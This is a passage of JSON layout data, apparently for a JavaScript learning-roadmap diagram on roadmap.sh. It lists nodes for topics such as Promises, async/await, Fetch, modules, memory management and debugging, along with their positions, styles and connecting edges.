\"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yXSF5gGST7l2X-4z1g0d_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.171875,\n        \"y\": 1823.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Promises\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 389.171875,\n        \"y\": 1823.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PJSdqvh5OBwPCNpn3q_S5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.171875,\n        \"y\": 1694.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Callback Hell\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 389.171875,\n        \"y\": 1694.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Dn872mgexmxoLtbkIgIgz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.5025092677304,\n        \"y\": 1898.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"async/await\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PJSdqvh5OBwPCNpn3q_S5\",\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 389.5025092677304,\n        \"y\": 1898.8694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q6vciQb_Jk-Up16Pk5NeE\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 163.9190115254637,\n        \"y\": 2098.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Working with APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sFOqx6_7poVIVuXhJVY0E\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-top\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 163.9190115254637,\n        \"y\": 2098.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kL5rfWxXe4J44ENru1uJS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 344.0025092677304,\n        \"y\": 2018.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fetch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189\n      },\n      \"positionAbsolute\": {\n        \"x\": 344.0025092677304,\n        \"y\": 2018.8694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LiuhBE7dIlkoWkthSoCsa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 344.0025092677304,\n        \"y\": 1965.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"XMLHTTPRequest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kL5rfWxXe4J44ENru1uJS\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189\n      },\n      \"positionAbsolute\": {\n        \"x\": 344.0025092677304,\n        \"y\": 1965.8694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"F_Lrj0F7UXriqJ0mhwxCy\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 40.26672552017453,\n        \"y\": 2098.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Classes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q6vciQb_Jk-Up16Pk5NeE\",\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-top\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 40.26672552017453,\n        \"y\": 2098.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TZ8XGdykSJjKBjX6Nivwo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -230.45968546864998,\n        \"y\": 2098.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Iterators and Generators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"F_Lrj0F7UXriqJ0mhwxCy\",\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"left-top\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -230.45968546864998,\n        \"y\": 2098.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hLnJlwnECFbVMeFpH0M5Q\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -523.328125,\n        \"y\": 2098.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Modules in JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TZ8XGdykSJjKBjX6Nivwo\",\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -523.328125,\n        \"y\": 2098.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4EXeGkOpfAViB9Uo4zL6O\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -483.328125,\n        \"y\": 1969.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CommonJS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135\n      },\n      \"positionAbsolute\": {\n        \"x\": -483.328125,\n        \"y\": 1969.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jLNmYeo20Mbu4WRvVgvwU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -483.328125,\n        \"y\": 2022.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ESM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135\n      },\n      \"positionAbsolute\": {\n        \"x\": -483.328125,\n        \"y\": 2022.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MatU4SthAAhByJ40XdZQn\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -523.328125,\n        \"y\": 2200.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Memory Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hLnJlwnECFbVMeFpH0M5Q\",\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -523.328125,\n        \"y\": 2200.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZR2WfH1cerA-V_kaPwRvm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -510.328125,\n        \"y\": 2279.385077050813\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Memory Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KKyX8N4lTgN0w-Khm6Ztq\",\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -510.328125,\n        \"y\": 2279.385077050813\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bhuGtcyqPFKu-900aESYz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -203.1276397705078,\n        \"y\": 1578.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DOM APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        },\n        \"oldId\": \"Xw8lb0xCWKmNs4KZfhBUy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -203.1276397705078,\n        \"y\": 1578.3694458007812\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KKyX8N4lTgN0w-Khm6Ztq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -510.328125,\n        \"y\": 2332.385077050813\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Garbage Collection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -510.328125,\n        \"y\": 2332.385077050813\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rc5WzBBOm2cus-rQl8EOE\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -228.95968546864998,\n        \"y\": 2200.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using Browser DevTools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MatU4SthAAhByJ40XdZQn\",\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -228.95968546864998,\n        \"y\": 2200.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dhEtcgv7G9fNV-AUNJdWk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 136.6719904951085,\n        \"y\": 2200.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debugging Issues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 136.6719904951085,\n        \"y\": 2200.7304293708294\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BA_ArmZMnVMaL_zl3W3Pt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 136.6719904951085,\n        \"y\": 2253.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debugging Memory Leaks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 136.6719904951085,\n        \"y\": 2253.7304293708294\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ECxISKUAU7js_JsfSHzud\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 137.6719904951085,\n        \"y\": 2306.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debugging Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 137.6719904951085,\n        \"y\": 2306.7304293708294\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 92,\n      \"height\": 49,\n      \"id\": \"U0fJo2a3vnaodNJhfZ78I\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -219.2816601458129,\n        \"y\": 2495.0743589624644\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React\",\n        \"href\": \"https://roadmap.sh/react\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"P5IZjP0g1_fnvHy3YTR4q\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -219.2816601458129,\n        \"y\": 2495.0743589624644\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 92,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 103,\n      \"height\": 49,\n      \"id\": \"iuSv7V59YxUZawN38Qlli\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 7.718339854187093,\n        \"y\": 2495.0743589624644\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Node.js\",\n        \"href\": \"https://roadmap.sh/nodejs\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"ZSrQoNGKiR484uALMWO9F\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 7.718339854187093,\n        \"y\": 2495.0743589624644\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nfMrC0eoXZl72H4o3VFEP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -200.2816601458129,\n        \"y\": 1096.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SameValue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"right-center\"\n        },\n        \"oldId\": \"fL3B2hkTgMb0oEwMiWJtK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -200.2816601458129,\n        \"y\": 1096.063720703125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 50\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6khAD6mzZ9S96JJuC5_j6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"UBB-8hUcwo4Mfd0cmEcdA\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ADarwihuI2nBq1C3U7-Zry2-UBB-8hUcwo4Mfd0cmEcdAz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6khAD6mzZ9S96JJuC5_j6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"l-GKzcsBNA0r6Jax8hwnP\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ADarwihuI2nBq1C3U7-Zry2-l-GKzcsBNA0r6Jax8hwnPz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6khAD6mzZ9S96JJuC5_j6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SFPsWnVpZBAw3_re7op4h\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ADarwihuI2nBq1C3U7-Zry2-SFPsWnVpZBAw3_re7op4hz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6khAD6mzZ9S96JJuC5_j6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uXsWIUUxtc4H_iRx3uZv0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ADarwihuI2nBq1C3U7-Zry2-uXsWIUUxtc4H_iRx3uZv0z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"6khAD6mzZ9S96JJuC5_j6\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-ADarwihuI2nBq1C3U7-Zrw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kvActjpU4FUJdrmuFoFEe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"7iMJuaB7yKlSIbT4dBe5L\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-ADarwihuI2nBq1C3U7-Zrz2-7iMJuaB7yKlSIbT4dBe5Ly1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kvActjpU4FUJdrmuFoFEe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"HfieG3v3wnmpZDfNwEJvZ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-ADarwihuI2nBq1C3U7-Zrz2-HfieG3v3wnmpZDfNwEJvZy1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kvActjpU4FUJdrmuFoFEe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Lb5jLF91WO5V5CWpifciW\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-ADarwihuI2nBq1C3U7-Zrz2-Lb5jLF91WO5V5CWpifciWy1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kvActjpU4FUJdrmuFoFEe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"BqbAWt--Guqex-rrb4ZUv\",\n      \"targetHandle\": \"y1\",\n  